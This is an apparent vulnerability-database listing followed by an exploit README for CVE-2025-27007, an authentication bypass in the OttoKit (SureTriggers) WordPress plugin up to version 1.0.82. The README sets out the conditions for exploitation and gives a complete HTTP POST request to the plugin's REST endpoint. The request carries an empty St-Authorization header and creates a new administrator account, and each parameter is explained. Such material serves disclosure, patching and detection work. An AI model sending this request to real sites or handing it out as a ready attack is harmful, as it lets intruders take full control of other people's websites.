| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| The vulnerability of the SureTriggers plugin of the WordPress content management system allows attackers to increase their privileges. | 13 Jun 202500:00 | – | bdu_fstec | |
| CVE-2025-27007 | 1 May 202511:14 | – | circl | |
| WordPress plugin SureTriggers 安全漏洞 | 1 May 202500:00 | – | cnnvd | |
| CVE-2025-27007 | 1 May 202510:54 | – | cve | |
| CVE-2025-27007 WordPress SureTriggers <= 1.0.82 - Privilege Escalation Vulnerability | 1 May 202510:54 | – | cvelist | |
| SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation | 9 May 202500:00 | – | exploitdb | |
| WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007) | 13 May 202518:49 | – | metasploit | |
| OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation | 23 Jun 202605:08 | – | nuclei | |
| CVE-2025-27007 | 1 May 202511:15 | – | nvd | |
| WordPress SureTriggers Plugin < 1.0.83 Privilege Escalation Vulnerability | 15 May 202500:00 | – | openvas |
# CVE-2025-27007: OttoKit (SureTriggers) Privilege Escalation Vulnerability
Exploitation of CVE-2025-27007, a critical vulnerability in unauthorized privilege escalation in the OttoKit plugin (formerly known as SureTriggers) for WordPress. This repository outlines how an attacker can create an administrator account on a vulnerable WordPress site.
### Affected Versions
- All versions of OttoKit (SureTriggers) **≤ 1.0.82**.
- Fixed in version **1.0.83**.
### Conditions for Exploitation
The vulnerability can be exploited under the following circumstances:
1. OttoKit must be installed and activated on the target WordPress site.
2. The plugin **uninitialized** (e.g., no API key or "secret_key" is set in the database).
3. The target site displays the REST API endpoint '/wp-json/sure-triggers/v1/automation/action'.
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### HTTP Request
The following request targets the `/wp-json/sure-triggers/v1/automation/action` endpoint to create an administrator account:
```http
POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
Host: [target-site]
Content-Type: application/x-www-form-urlencoded
St-Authorization:
Content-Length: [length]
selected_options[user_name]=new_admin&selected_options[user_email][email protected]&selected_options[password]=StrongP@ssw0rd123&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists
```
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## Explanation of Request
* Endpoint: POST /wp-json/sure-triggers/v1/automation/action
* St-Authorization: (empty): Bypasses authentication when the plugin is unconfigured.
* selected_options[user_name]: Username for the new account (e.g., new_admin).
* selected_options[user_email]: Email for the new account (e.g., [email protected]).
* selected_options[password]: Password for the new account (e.g., StrongP@ssw0rd123).
* selected_options[role]: Set to administrator to grant full privileges.
* type_event: Set to create_user_if_not_exists to trigger user creationData
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